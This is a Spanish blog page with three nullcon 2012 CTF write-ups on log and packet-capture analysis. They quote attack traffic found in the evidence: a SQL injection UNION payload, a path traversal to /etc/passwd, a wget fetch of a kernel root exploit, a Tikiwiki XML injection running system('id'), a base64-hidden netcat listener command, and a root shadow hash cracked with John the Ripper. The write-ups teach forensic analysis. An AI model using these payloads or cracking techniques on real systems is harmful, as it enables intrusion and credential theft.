CTF #nullcon 2012: Análisis de logs 5
- January 29, 2012
- tuxotron
- Flag-I: Vulnerable Parameter in 1st Attack
- Flag-II: Vulnerable Parameter in 2nd Attack
- Flag-III: Names of the people who discovered the Local Privilege Escalation Exploit used
- Flag-IV: root Password
En el quinto y último nivel de esta categoría de análisis de logs, nos encontramos con un fichero (http://www.nullcon.net//challenge/data/dump.rar) PcapNg (una vez descomprimido). Uno de los problemas con los que me encontré era que el fichero es un poco grande y después de filtrar varias veces, Wireshark se comía la máquina y tenía que cerrar dicha aplicación y volverla a abrir ¿fuga de memoria en Wireshark? Supongo que la próxima vez debería de aprender a usar los filtros con tshark :)
En este nivel se nos piden 4 flags:
Para mi la pregunta más obvia para empezar era la última, ya que podría correr un búsqueda de la palabra root para llegar a dicha respuesta. Y la suerte que tuve fue que haciendo esa búsqueda también me llevó al resto de los respuestas que buscaba.
El primer flujo TCP que encontramos con inyección de código y por lo tanto contesta a nuestra primera pregunta es:
GET /index.html?page=blog&title=Blog&id=2+AND+1=2+UNION+ALL+SELECT+1,unhex(hex(user())),3,4,5--+- HTTP/1.1 Host: 192.168.221.143 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive .... ....
Por lo tanto nuestro primer flag: id
El segundo ataque encontrado fue:
GET /index.html?page=../../../../../../../../../etc/passwd%00 HTTP/1.1 Host: 192.168.221.143 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive .... ....
Nuestro flag en este caso: page
Siguiendo nuestra búsqueda de todo lo que contenga root, vemos claramente código C, en cuyos comentarios vemos que es un exploit de escalada de privilegios, dónde además nos dan los nombres de los descubridores, el cual es la respuesta a nuestro tercer flag: Tavis Ormandy Julien Tinnes
Aquí un extracto del texto de la captura
GET /exploit/9479.c HTTP/1.0 User-Agent: Wget/1.10.2 (Red Hat modified) Accept: */* Host: 192.168.221.130 Connection: Keep-AliveHTTP/1.1 200 OK Date: Thu, 12 Jan 2012 06:18:26 GMT Server: Apache/2.2.14 (Ubuntu) Last-Modified: Wed, 11 Jan 2012 12:36:23 GMT ETag: “41d4c-d33-4b63fe12b3b1c” Accept-Ranges: bytes Content-Length: 3379 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/x-csrc
/* ** ** 0x82-CVE-2009-2692 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver) ** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x. ** ** – ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** spender and venglin’s code is very excellent. ** Thankful to them. ** ** Greets: Brad Spengler <spender(at)grsecurity(dot)net>, ** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>. ** – ** exploit by <p0c73n1(at)gmail(dot)com>. ** ** “Slow and dirty exploit for this one” ** / …. ….
Por último se nos pide el password de root y siguiendo con nuestra búsqueda llegamos al listado del fichero shadow:
sh-3.1# cat /etc/shadow root:$1$IW2CPQzs$ba/aJ9zePc/r9tF2R6KAJ0:15350:0:99999:7::: bin::14309:0:99999:7::: daemon::14309:0:99999:7::: adm::14309:0:99999:7::: …. ….
Aquí de lo que disponemos es del hash, pero no del password en claro, así que llamemos a Juanito.
Lo que hice fue copiar sólo la línea del root a un fichero de texto y:
tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john ppass Loaded 1 password hash (FreeBSD MD5 [32/64 X2]) guesses: 0 time: 0:21:00:27 0.00% (3) c/s: 10906 trying: fuisbAT - fuisbAX Session aborted
Después de 21 horas corriendo no había encontrado nada, así que decidí usar un diccionario de passwords, concretamente el primero de esta lista.
tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john –wordlist=/home/tuxotron/Downloads/Collection\ of\ Wordlist\ v.2-clean.lst ppass Loaded 1 password hash (FreeBSD MD5 [32/64 X2]) zuzana (root) guesses: 1 time: 0:00:05:52 DONE (Sat Jan 28 18:33:46 2012) c/s: 11086 trying: zum - zuzana Use the “–show” option to display all of the cracked passwords reliably
Y en cinco minutos conseguía el cuarto y último flag: zuzana
CTF #nullcon 2012: Análisis de logs 4
- January 29, 2012
- tuxotron

En este cuarto nivel, el fichero que se nos da es de Burp y se nos pregunta por el CVE del exploit usado.
Esta vez y aprendiendo del nivel anterior me basé en buscar por las urls en vez de códigos de respuesta. Rápidamente me di cuenta que la mayoría de las peticiones se hacían una IP/página sin que, en principio, se nos diera alguna pista de la aplicación web a la que se accedía y viendo que nos preguntan por un CVE, empecé a descartar dichas urls.
En mi primera búsqueda, me di cuenta que también había referencias a un tikiwiki y un joomla. Rápidamente me fui a Google y busqué CVEs relacionados con estos dos productos y ambos tienen una amplia lista de CVEs. Así me decidí a enfocarme en estos. Empecé por tikiwiki y rápidamente me topé con esto:
192.168.221.154 80 http POST php ]]> foo.bar 1 1 1 1 ','')); system('id '); die; /* 200 283 text
Como podemos ver hay una clara inyección via XML, en el que se ejecuta el comando “id” (system(‘id ‘);) de forma satisfactoria.
Así que me fui a Google y busqué algo como: server.php code execution xml tikiwiki. Cuyo primer enlace es exactamente lo que estamos buscando y dónde podemos ver el CVE que estamos buscando: CVE-2005-1921
CTF #nullcon 2012: Análisis de logs 3
- January 28, 2012
- tuxotron

Buena en esta tercera prueba de análisis de logs, nos proveen un fichero de logs (http://www.nullcon.net//challenge/data/access.rar) de acceso de apache. Lo primero que tenemos que saber interpretar es dicho fichero, para ello, podemos visitar esta página, dónde nos explican el significado de cada columna.
En este reto se nos pregunta por tres cosas para conseguir el flag: página vulnerable, puerto abierto e IP del atacante.
El fichero es bastante grande para analizar así manualmente, así que lo primero que hice fue filtrar todas las líneas cuyo código de respuesta era 2xx. Después de pasar un buen rato mirando de arriba abajo, filtrando por 200, 206, etc no conseguí nada. También estuve buscando por algún tipo de inyección con el típico comando “nc” (netcat), pera nada de nada.
Luego me dio por mirar el resto de códigos 404, 500, etc. Pero seguía sin ver nada. Luego me dio por buscar por llamadas a páginas con parámetros, especialmente aquellas que tuvieran algún tipo de intento de inyección. Esto lo intenté antes, pero sólo con las líneas del fichero cuya respuesta era 2xx (200 y 206 concretamente), ahora lo hacía con todo el fichero, hasta que me encontré con esta línea:
192.168.0.107 - - [06/Jan/2012:00:58:00 +0530] "GET /contact.php?c=bmMgLWwgLXAgNjY2Ng== HTTP/1.1" 500 274 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3"
El valor de c es base64, veamos a ver que contiene:
tuxotron@tuxotron-laptop:~/temp/nullcon$ base64 -d bmMgLWwgLXAgNjY2Ng== nc -l -p 6666
Bingo! Por lo tanto la repuesta las preguntas son: Vulnerable web: contact.php Port opened: 6666 Intruder IP: 192.168.0.107
Una vez introducido dichos datos pasaremos al siguiente nivel.
Buscar
Entradas Recientes
- Posts
- Reemplazando la bateria del AirTag
- OpenExpo Europe décima edición, 18 de mayo: El Epicentro de la Innovación y la Transformación Digital
- Docker Init
- Kubernetes para profesionales
- Agenda: OpenExpo Europe 2022 llega el 30 de junio en formato presencial
- Libro 'Manual de la Resilencia', de Alejandro Corletti, toda una referencia para la gestión de la seguridad en nuestros sistemas
- Mujeres hackers en ElevenPaths Radio
- Creando certificados X.509 caducados
- Generador de imágenes Docker para infosec